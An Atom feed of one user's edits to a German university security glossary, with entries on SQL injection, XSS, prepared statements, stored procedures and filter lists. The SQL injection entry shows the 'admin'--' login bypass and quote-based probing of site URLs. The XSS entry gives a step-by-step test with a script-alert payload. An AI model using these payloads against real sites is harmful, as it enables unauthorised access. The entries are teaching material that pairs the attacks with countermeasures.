<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de-x-formal">
	<id>https://glossar.hs-augsburg.de/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jkonrad</id>
	<title>GlossarWiki - Benutzerbeiträge [de-formal]</title>
	<link rel="self" type="application/atom+xml" href="https://glossar.hs-augsburg.de/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jkonrad"/>
	<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/Spezial:Beitr%C3%A4ge/Jkonrad"/>
	<updated>2026-07-17T15:13:01Z</updated>
	<subtitle>Benutzerbeiträge</subtitle>
	<generator>MediaWiki 1.43.3</generator>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Stored_Procedure&amp;diff=9993</id>
		<title>Stored Procedure</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Stored_Procedure&amp;diff=9993"/>
		<updated>2007-06-27T14:25:55Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: Quellen angepasst&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Definition=&lt;br /&gt;
&lt;br /&gt;
Mit Hilfe von [[Stored Procedure]]s ist es dem Benutzer eines [[Datenbank-Management-System]]s (DBMS) möglich,&lt;br /&gt;
komplexe Folgen von [[SQL]]-Anweisungen im System unter einem Namen zu speichern und jederzeit auszuführen. &lt;br /&gt;
Die Ablaufpläne werden dabei vom DBMS optimiert. &lt;br /&gt;
&lt;br /&gt;
Damit erfolgt statt vieler einzelner Anfragen ein einzelner Aufruf durch den Client.&lt;br /&gt;
&lt;br /&gt;
=Vorteile=&lt;br /&gt;
&lt;br /&gt;
Absicherung gegen [[SQL Injection]], da die Stored Procedures zusätzliche Befehle zur Ablaufsteuerung und Auswertung&lt;br /&gt;
erfolgter Anweisungen enthalten können.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Der Einsatz von [[Prepared Statement]]s ist jedoch vorzuziehen.&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
* [[Ziegler (2007)]]&lt;br /&gt;
* [[Rütten, Glemser (2006)]]&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Prepared Statement]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Daten-Management]]&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;br /&gt;
[[Kategorie:Glossar]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Prepared_Statement&amp;diff=9992</id>
		<title>Prepared Statement</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Prepared_Statement&amp;diff=9992"/>
		<updated>2007-06-27T14:22:38Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: Quellen angepasst&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Definition=&lt;br /&gt;
&lt;br /&gt;
[[Prepared Statement]]s sind parametrisierte, vorübersetzte ([[SQL]]-)Anweisungen für ein [[Datenbank-System]] (DBS).&lt;br /&gt;
&lt;br /&gt;
=Bemerkungen=&lt;br /&gt;
&lt;br /&gt;
Bei der Erzeugung eines [[Prepared Statement]]s werden an Stelle von Parameterwerten Platzhalter für die Parameter an das DBS übergeben.&lt;br /&gt;
Erst beim Aufruf eines [[Prepared Statement]]s werden Parameterwerte übergeben.&lt;br /&gt;
&lt;br /&gt;
Auf diese Weise können insbesondere [[SQL Injection|SQL-Injection-Attacken]] vermieden werden, &lt;br /&gt;
da die dafür nötige Vermischung von [[SQL]]- und Hostsprache-Code nicht mehr ohne Weiteres&lt;br /&gt;
möglich ist.&lt;br /&gt;
&lt;br /&gt;
Darüber hinaus werden die Parameter beim Eintragen zunächst vom DBS&lt;br /&gt;
auf Gültigkeit geprüft bevor sie verarbeitet werden.&lt;br /&gt;
&lt;br /&gt;
Als angenehmen Nebeneffekt bringen Prepared Statements den Vorteil mit sich, dass durch die Vorverarbeitung der Abfragen eine&lt;br /&gt;
schnellere Verarbeitung der Abfragen möglich ist.&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
*[[Ziegler (2007)]]&lt;br /&gt;
*[[Rütten, Glemser (2006)]]&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[Stored Procedure]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Daten-Management]]&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;br /&gt;
[[Kategorie:Glossar]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=SQL_Injection&amp;diff=9991</id>
		<title>SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=SQL_Injection&amp;diff=9991"/>
		<updated>2007-06-27T14:18:29Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: Quellen angepasst&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Definition=&lt;br /&gt;
Wird eingesetzt, um Content Management Systeme mit SQL-Datenbank-Anbindung anzugreifen. SQL Injection wird erst durch Ausnutzen&lt;br /&gt;
einer Sicherheitslücke möglich, die durch mangelnde Maskierung bzw. Überprüfung in Benutzereingaben entsteht.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zählt zu den aktiven Angriffen und wird eingesetzt um empfindliche Daten zu stehlen oder gar die Kontrolle über den angegriffenen&lt;br /&gt;
Server zu gelangen. Dabei werden SQL-Kommandos entweder eingeschleust oder manipuliert. Der schädliche Code kann auch über die&lt;br /&gt;
Parameter einer URL an die Webseite weitergereicht werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Beispiel=&lt;br /&gt;
Laut [[Rütten, Glemser (2006)]] treten bei .asp und .cfm Skripten am häufigsten Probleme auf, die eine SQL Injection ermöglichen. Bei mangelnder&lt;br /&gt;
Maskierung könnte man eine SQL Abfrage wie folgt manipulieren. Zu sehen ist nun eine Login-Abfrage in SQL.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;$username&#039; AND password =&#039;$password&#039;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In das Login-Feld könnte folgendes statt einem korrekten Login-Namen eingetragen werden:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;quot;admin&#039;--&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
Wenn diese Eingabe ungefiltert in die obige SQL-Abfrage eingetragen wird, sieht der zu verarbeitende Befehl nun wie folgt aus:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;admin&#039;--&#039; AND password =&#039;beliebig&#039;.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Da -- in SQL als Kommentarzeichen gewertet wird, wird also nur noch&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;admin&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
verarbeitet. D.h. es wird ein einem Angreifer ein passwortloser Zugang zum Server gewährt, da es nicht mehr notwendig ist,&lt;br /&gt;
ein Passwort einzugeben. Der Angreifer muss nur einen Benutzernamen kennen oder diesen erraten.&amp;lt;br&amp;gt;&lt;br /&gt;
Diese Art der SQL Injection ist zwar simpel, aber anscheinend immer noch aktuell da, laut [[Rütten, Glemser (2006)]], 2006 das T-Online Karriereform&lt;br /&gt;
so einen passwortlosen Zugang erlaubte.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Durchführung=&lt;br /&gt;
&lt;br /&gt;
Natürlich ist eine Anwendung die keine Parameter an eine SQL Datenbank übergibt auch nicht gegen SQL Injection anfällig.&lt;br /&gt;
Deswegen werden also nur die Webseiten untersucht, die diese mögliche Schwachstelle haben. Vorzugsweise werden dabei Skriptaufrufe&lt;br /&gt;
mit den Endungen &amp;quot;.asp&amp;quot; und &amp;quot;.cmf&amp;quot; gesucht, da hier die meisten Probleme zu erwarten sind [[Rütten, Glemser (2006)]]. Um die Anfälligkeit der so&lt;br /&gt;
ausgewählten Seite auf SQL Injection zu prüfen, gibt es zwei Möglichkeit (beide sollten ausprobiert werden).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Der Code kann möglicherweise über die Parameter der URL injiziert werden z.B. bei http://www.seite.com/artikelid.asp?512 über&lt;br /&gt;
die Zahl 512&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bei der ersten Variante wird der komplette Wert durch ein einfaches Anführungszeichen ausgetauscht,&lt;br /&gt;
d.h. aus „name=value“ wird „name=’“ . Die zweite Variante verlangt das Setzen des&lt;br /&gt;
Anführungszeichens in die Mitte von „value“, so dass anschließend eine Parameterübergabe so&lt;br /&gt;
aussieht: „name=val’ue“.&lt;br /&gt;
Die so veränderte URL wird mit Enter bestätigt, um zu prüfen, ob eine Datenbank-Fehlermeldung&lt;br /&gt;
von der betroffenen Seite ausgegeben wird. Die gesuchten Fehlermeldungen können wie folgt&lt;br /&gt;
aussehen:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Fehlermeldungsart 1:&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for SQL Server error ’80040e14’&lt;br /&gt;
&lt;br /&gt;
Unclosed quotation mark before the character string&lt;br /&gt;
&lt;br /&gt;
’51 ORDER BY some_name’.&lt;br /&gt;
&lt;br /&gt;
/some_directory/some_file.asp, line 5&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Fehlermeldungsart 2:&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ODBC Error Code = S1000 (General error)&lt;br /&gt;
&lt;br /&gt;
[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Wie auch schon im Kapitel 2.4 beschrieben wurde, kann die gesuchte Fehlermeldung im HTML&lt;br /&gt;
Code liegen ohne angezeigt zu werden. Deswegen muss also auch der Code angesehen werden.&lt;br /&gt;
Am leichtesten ist es nach den Ausdrücken „Microsoft OLEDB“ oder „[ODBC]“ zu suchen.&lt;br /&gt;
Werden die beschriebenen Fehlermeldungen gefunden, ist nachgewiesen, dass die untersuchte&lt;br /&gt;
Anwendung für SQL-Injection zugänglich ist.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Beispiel nach [[B. Sullivan]].&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Gegenmaßnahmen=&lt;br /&gt;
&lt;br /&gt;
SQL bietet eigene Möglichkeiten, um sich vor SQL-Injection-Angriffen zu schützen, wie z.B. [[Stored Procedure]]s und&lt;br /&gt;
[[Prepared Statement]]s.&amp;lt;br&amp;gt;&lt;br /&gt;
Hinzu kommt noch die Möglichkeit, die eigene Homepage mit Hilfe von frei verfügbaren Tools&lt;br /&gt;
auf Schwachstellen gegenüber SQL Injection zu durchsuchen. Ein solches Tool ist z.B. der &lt;br /&gt;
SQL-Injection-Bruteforcer „SQLLibf“, das mittels Brute-Force-Angriffen die dynamischen Variablen einer&lt;br /&gt;
Seite auf Schwachstellen testet.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;(Weitere Tools dieser Art können bei www.astalavista.com gefunden werden.)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Da der Mensch allerdings gerade bei destruktiven Aufgaben weit&lt;br /&gt;
mehr kreative Energie aufbringen kann als dieses Tool, kann auch dieses Tool keine absolute&lt;br /&gt;
Sicherheit garantieren. So ist zu empfehlen Datenbankabfragen korrekt zu formulieren. Einige&lt;br /&gt;
Beispiele (in unterschiedlichen Programmiersprachen), wie man korrekte Abfragen schreibt, sind&lt;br /&gt;
in im weiterführenden Link zu finden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allgemein lässt sich festhalten, dass es für den Programmierer einer Anwendung nicht reicht,&lt;br /&gt;
nur sauber zu programmieren. Er sollte darüber hinaus auch grundsätzlich allen Daten, die in&lt;br /&gt;
irgendeiner Form von außen manipuliert worden sein könnten, misstrauen und diese als unsicher&lt;br /&gt;
ansehen. Daraus folgt natürlich das alle Daten zunächst auf Gültigkeit geprüft werden müssen -&lt;br /&gt;
das gilt auch für die Variablen in den URLs!&lt;br /&gt;
&lt;br /&gt;
Das heißt natürlich auch, dass keine ungefilterten Strings zur Weiterverarbeitung durchgereicht&lt;br /&gt;
werden, also z.B. Steuerzeichen durch ihre Escapesequenzen ersetzt werden.&lt;br /&gt;
&lt;br /&gt;
Zwar würde dadurch kein unerwünschter Befehl mehr ausgeführt werden, allerdings hat das Ersetzen&lt;br /&gt;
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt&lt;br /&gt;
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit&lt;br /&gt;
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.&lt;br /&gt;
&lt;br /&gt;
Listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen&lt;br /&gt;
Tags verändert werden. Dabei gibt es das [[Whitelisting]] und das [[Blacklisting]]. Auch eine&lt;br /&gt;
Vermischung dieser beiden Filterarten ist möglich.&lt;br /&gt;
&lt;br /&gt;
=Weiterführender Link=&lt;br /&gt;
[[http://de.wikipedia.org/w/index.php?title=SQL-Injektion&amp;amp;diff=33184377&amp;amp;oldid=32572015]] Beispielliste mit sicheren&lt;br /&gt;
Datenbankabfragen in unterschiedlichen Programmiersprachen.&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
* [[C. Sima]]&lt;br /&gt;
* [[B. Sullivan]]&lt;br /&gt;
* [[Rütten, Glemser (2006)]]&lt;br /&gt;
* [[Ziegler (2007)]]&lt;br /&gt;
* SQL-Injektion. Abfragedatum: 20.Juni 2007. http://de.wikipedia.org/w/index.php?title=SQL-Injektion&amp;amp;diff=33184377&amp;amp;oldid=32572015&lt;br /&gt;
* Security Hacks. Abfragedatum: 24.Mai 2007. http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners&amp;lt;br&amp;gt;&lt;br /&gt;
* Astalavista Group. Abfragedatum: 24.Mai 2007. http://www.astalavista.com &lt;br /&gt;
* XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html&lt;br /&gt;
* heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Cross Site Scripting]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Codeinjection]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Whitelisting]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Blacklisting]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Stored Procedure]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Prepared Statement]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;br /&gt;
[[Kategorie:Glossar]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Blacklisting&amp;diff=9990</id>
		<title>Blacklisting</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Blacklisting&amp;diff=9990"/>
		<updated>2007-06-27T14:09:18Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: Quellen angepasst&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Definition=&lt;br /&gt;
Blacklisting verbietet einige Zeichen, wie z.B. Steuerzeichen (&amp;lt; &amp;gt;) oder ganze Tags (&amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
=Bemerkungen=&lt;br /&gt;
&lt;br /&gt;
Kann nach dem [[Whitelisting]] eingesetzt werden, um besondere Randbedingungen abzudecken.&lt;br /&gt;
&lt;br /&gt;
=Vorteil=&lt;br /&gt;
Einige Tags können weiterhin verwendet werden (z.B. für Formattierung durch den Benutzer in Foren).&lt;br /&gt;
&lt;br /&gt;
=Nachteil=&lt;br /&gt;
&lt;br /&gt;
Listen müssen permanent auf dem neuesten Stand gehalten werden, um bis jetzt unveröffentlichten [[Angriffsvektor]]en nicht&lt;br /&gt;
schutzlos gegenüber zu stehen.&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
*[[Ziegler (2007)]]&lt;br /&gt;
*[[Rütten, Glemser (2006)]]&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Whitelisting]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;br /&gt;
[[Kategorie:Glossar]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Whitelisting&amp;diff=9989</id>
		<title>Whitelisting</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Whitelisting&amp;diff=9989"/>
		<updated>2007-06-27T14:07:22Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: Quellen angepasst&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Definition=&lt;br /&gt;
&lt;br /&gt;
Das Whitelisting erlaubt explizit Zeichen (z.B. ist es beim Geburtsjahr nicht nötig, Zahlen&lt;br /&gt;
zu erlauben die kleiner als 1900 sind).&lt;br /&gt;
&lt;br /&gt;
=Bemerkung=&lt;br /&gt;
&lt;br /&gt;
Kann vor dem [[Blacklisting]] eingesetzt werden, um den größten Teil der möglichen Angriffe abzuwehren.&lt;br /&gt;
&lt;br /&gt;
=Vorteil=&lt;br /&gt;
Falls die Liste vollständig ist, werden keine durch den Benutzer eingetragenen Befehle vom Server ausgeführt und können&lt;br /&gt;
gefahrlos dargestellt und weitergegeben werden.&lt;br /&gt;
&lt;br /&gt;
=Nachteile=&lt;br /&gt;
Es kann leicht passieren das man zu viele Zeichen verbietet und damit die Benutzerfreundlichkeit sinkt bzw. einige Funktionen&lt;br /&gt;
nicht mehr vollständig sind. Beispiel: beim Eintragen der Hausnummer könnten so die Buchstaben gesperrt werden dan ist die&lt;br /&gt;
Kombination aus Zahl und Buchstabe z. B. 12a nicht mehr möglich und die Adressierung ist nicht mehr korrekt.&lt;br /&gt;
&lt;br /&gt;
Mehraufwand bei der Festlegung der zugelassenen Zeichen, weil regionsbedingte Unterschiede in der Notation (Sonderzeichen,&lt;br /&gt;
andere Art Adressen aufzuschreiben etc.) berücksichtigt werden müssen.&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
*[[Ziegler (2007)]]&lt;br /&gt;
*[[Rütten, Glemser (2006)]]&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;br /&gt;
[[Kategorie:Glossar]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Cross_Site_Scripting&amp;diff=9988</id>
		<title>Cross Site Scripting</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Cross_Site_Scripting&amp;diff=9988"/>
		<updated>2007-06-27T14:04:30Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: Quellen als Link dargestellt, Definition in Bemergungen + Definition aufgetrennt&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Definition=&lt;br /&gt;
Cross-Site Scripting (XSS) nutzt eine Sicherheitslücke in der angegriffenen Anwendung aus und kann dazu verwendet werden,&lt;br /&gt;
Daten einer Originalseite zu verändern und zählt damit zu den aktiven Angriffen.&amp;lt;br&amp;gt;&lt;br /&gt;
Beim XSS werden Informationen durch einen Angreifer in eine vermeintlich sichere Seite eingebettet.&lt;br /&gt;
&lt;br /&gt;
=Bemerkungen=&lt;br /&gt;
XSS ist eine der am häufigsten verbreiteten Methoden, Angriffe auf ungeschützte Webseiten&lt;br /&gt;
auszuführen und wird in der Verwendung nur noch vom [[Bufferoverflow]], bei dem Teile des&lt;br /&gt;
Speichers überschrieben werden um den Programmablauf zu verändern, übertroffen.&lt;br /&gt;
&lt;br /&gt;
Es ist zum Teil für den Angreifer möglich, sensitive Daten von Benutzern der&lt;br /&gt;
veränderten Webseite zu stehlen, wie z.B. Bankdaten, Zugangsdaten oder persönliche und finanzielle&lt;br /&gt;
Informationen.&lt;br /&gt;
&lt;br /&gt;
Durch XSS können auch Fehlinformationen verbreitet und Nutzer überwacht werden.&lt;br /&gt;
&lt;br /&gt;
XSS kann auch als Grundlage für weiterführende Angriffe dieneen, z. B. indem ein Angreifer in eine Webseite,&lt;br /&gt;
die für mehrere Tausend Besucher täglich ausgelegt ist, Code injiziert. Dieser Code könnte&lt;br /&gt;
einen Download großer Dateien vom Server eines Opfers veranlassen. Da das bei mehreren Tausend Benutzern&lt;br /&gt;
passiert wird damit also eine [[Denial of Service]] (DoS) Attacke) auslöst, was genügen sollte, um&lt;br /&gt;
den angegriffenen Server unerreichbar zu machen.&lt;br /&gt;
&lt;br /&gt;
==Reflektiertes XSS==&lt;br /&gt;
&lt;br /&gt;
Das reflektierte - oder auch serverseitige - XSS ist der häufigste Vertreter von XSS-Angriffen und&lt;br /&gt;
wird im [[Phishing]]markt angewendet. Hierbei muss ein Opfer eine präparierte URL anklicken. In&lt;br /&gt;
Variablen und Parametern dieser URL wird Code eingefügt, den die Anwendung auf dem Server&lt;br /&gt;
übernimmt und in die Webseite einbettet. Das kann ein Suchausdruck, ein Username oder auch&lt;br /&gt;
eine E-Mail Adresse sein.&lt;br /&gt;
&lt;br /&gt;
Der Angriff läuft folgendermaßen ab: die vom Angreifer veränderte URL wird durch ein Opfer&lt;br /&gt;
angeklickt und somit an den betroffenen Server als Anfrage verschickt. Hier ist die Web-Applikation&lt;br /&gt;
fehlerhaft und ermöglicht es dem Angreifer, den dynamisch generierten HTML-Code zu&lt;br /&gt;
verändern. Der Benutzer sieht nun die manipulierte Seite in seinem Browser.&lt;br /&gt;
&lt;br /&gt;
==Persistentes (beständiges) XSS==&lt;br /&gt;
&lt;br /&gt;
Auch das persistente XSS ist Serverseiteig, d.h. die Veränderungen werden auf dem Server vorgenommen&lt;br /&gt;
und der Schadcode wird über die URL an den Browser zurück geschickt, hier wird&lt;br /&gt;
allerdings der Inhalt der Datenbank ebenfalls verändert. Deswegen kann dieser Schadcode auch&lt;br /&gt;
Benutzer erreichen die die manipulierte URL nicht angeklickt haben. Um die Attacke zu starten,&lt;br /&gt;
reicht es hier völlig, wenn der Angreifer selbst den manipulierten Link anklickt.&lt;br /&gt;
&lt;br /&gt;
Dieser Angriff wird zwar ähnlich dem reflektierenden XSS ausgelöst, verläuft aber etwas anders.&lt;br /&gt;
Wie schon beschrieben, ruft der Angreifer eine manipulierte URL auf und sendet somit eine Anfrage&lt;br /&gt;
an den Server. Die fehlerhafte Web-Applikation verarbeitet die Anfrage und speichert den&lt;br /&gt;
injizierten Code in der Datenbank. Von nun an wird jeder Besucher dieser Seite den veränderten&lt;br /&gt;
HTML-Code vorfinden.&lt;br /&gt;
&lt;br /&gt;
==Lokales ([[DOM]]-basiertes) XSS==&lt;br /&gt;
&lt;br /&gt;
Wie der Name schon vermuten lässt, ist das lokale XSS clientseitig, d.h. der komplette Angriff&lt;br /&gt;
findet auf dem Rechner des Opfers statt. Dieser Angriff findet häufig bei Web 2.0 Anwendungen&lt;br /&gt;
statt, da hier der Java oder Java-Script Code im Browser des Benutzers ausgeführt wird.&lt;br /&gt;
&lt;br /&gt;
Da der Angriff im Browser des Benutzers stattfindet, wird auch der schädliche Code in der Sprache&lt;br /&gt;
des Browsers gehalten und wird als Parameter an die Webseite übergeben. Falls dieser Code in&lt;br /&gt;
der Webseite wieder enthalten ist, kann es passieren, dass der Browser des Benutzers diesen Code&lt;br /&gt;
ausführt und evtl. Daten in ein Formular der generierten Seite einträgt, die anschließend an den&lt;br /&gt;
Angreifer weitergeleitet werden.&lt;br /&gt;
&lt;br /&gt;
Besonders gefährlich wird dieser Angriff, wenn die manipulierte Seite besondere Rechte im&lt;br /&gt;
Browser besitzt. Je nach verwendeter Skriptsprache könnte die manipulierte Anwendung Cookies&lt;br /&gt;
mit Anmeldeinformationen stehlen oder mit den Rechten des lokalen Benutzers Daten auf&lt;br /&gt;
dem Rechner verändern. Dies könnte sich besonders bei Windows-Systemen als fatal erweisen,&lt;br /&gt;
da der lokale Benutzer oft gleichzeitig der Administrator ist.&lt;br /&gt;
&lt;br /&gt;
Ein Angriff würde wie folgt ablaufen: der Benutzer klickt wieder eine manipulierte URL an und&lt;br /&gt;
schickt damit eine Anfrage an die Web-Applikation. Diese antwortet, indem der Skriptcode (der&lt;br /&gt;
fehlerhaft, jedoch nicht manipuliert ist) an den Browser übergeben wird, um dort die Ausführung&lt;br /&gt;
des Skripts zu starten. Die manpulierten Parameter aus der URL werden nun im Browser des Benutzers&lt;br /&gt;
als Teil des Skripts interpretiert und ausgeführt. Über DOM-Zugriffe wird die im Browser&lt;br /&gt;
dargestellte Webseite verändert, der Benutzer sieht nun die manipulierte Seite.&lt;br /&gt;
&lt;br /&gt;
==XSS — Eine kleine „Anleitung“==&lt;br /&gt;
&lt;br /&gt;
Zunächst müssen potentielle Opfer gefunden werden, d.h., es muss nach Anzeichen für die Angreifbarkeit&lt;br /&gt;
einer Seite gesucht werden. Das ist bei Anwendungen der Fall, die die vom Benutzer&lt;br /&gt;
vorgenommenen Eingaben wieder ausgeben - ob es ein Suchstring ist oder ein Foreneintrag ist,&lt;br /&gt;
spielt dabei keine Rolle. Auch das Einbetten des vom Benutzer vorgenommenen Textes in Fehlermeldungen&lt;br /&gt;
kann ein Anzeichen für die Anfälligkeit auf XSS sein.&lt;br /&gt;
&lt;br /&gt;
Dafür werden die Bereiche auf Seiten gesucht, die Eingaben durch Benutzer zulassen, wie z.B.&lt;br /&gt;
Login-Fenster, Suchfelder und Ähnliches. Foreneinträge und Message Boards sind dafür prädestiniert,&lt;br /&gt;
da die Eingabe durch Nutzer auf jeden Fall wieder angezeigt wird. jedoch gilt hier immer&lt;br /&gt;
noch zu prüfen, ob eine Anfälligkeit auf XSS vorhanden ist.&lt;br /&gt;
&lt;br /&gt;
Sobald ein potentiell betroffenes Feld gefunden wurde, trägt man einen beliebigen String in dieses&lt;br /&gt;
Feld ein, z.B. „test“. Nach einer Bestätigung, wird die Übertragung zum Server gestartet und in&lt;br /&gt;
der Antwort des Servers wird der vorher eingegebene String gesucht. Der gesuchte String könnte&lt;br /&gt;
z.B. in Form einer Fehlermeldung wie „Invalid login ’test’“ wieder auftauchen.&lt;br /&gt;
Falls der Teststring ausgegeben wurde, kann getestet werden, ob die Seite gegen XSS&lt;br /&gt;
geschützt ist.&lt;br /&gt;
&lt;br /&gt;
Dazu wird in dasselbe Feld JavaScript Code eingetragen, wie z.B.&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;script&amp;gt;alert(’hello’)&amp;lt;/script&amp;gt;&amp;lt;/code&amp;gt; und an den Server übermittelt. Falls nun ein Pop-up-Fenster aufgeht,&lt;br /&gt;
in dem „hello“ zu sehen ist, ist die untersuchte Seite eindeutig von XSS betroffen.&lt;br /&gt;
&lt;br /&gt;
Auch wenn kein Fenster aufgeht, kann es sein, dass der neu generierte HTML-Code den eingetragenen&lt;br /&gt;
String enthält und dieser nur nicht vom verwendeten Browser ausgeführt wurde, da&lt;br /&gt;
beispielsweise JavaScript deaktiviert ist. Um also sicher ausschließen zu können, dass die Seite&lt;br /&gt;
diesem kleinen „Anschlag“ widerstanden hat, sollte der generierte HTML-Code untersucht und&lt;br /&gt;
geprüft werden, ob der eingetragene String (&amp;lt;code&amp;gt;&amp;lt;script&amp;gt;alert(’hello’)&amp;lt;/script&amp;gt;&amp;lt;/code&amp;gt;) im HTML-Code der&lt;br /&gt;
Seite auftaucht oder nicht.&lt;br /&gt;
&lt;br /&gt;
=Gegenmaßnahmen=&lt;br /&gt;
&lt;br /&gt;
Viele Programmiersprachen bringen von Haus aus Sicherheitsoptionen mit sich, die auch eingesetzt&lt;br /&gt;
werden sollten, wie z.B. die Möglichkeiten die PHP mitbringt, um Zugriffe von außen zu&lt;br /&gt;
vermeiden. Da PHP eine der Skriptsprachen ist, die heutzutage am häufigsten verwendet wird,&lt;br /&gt;
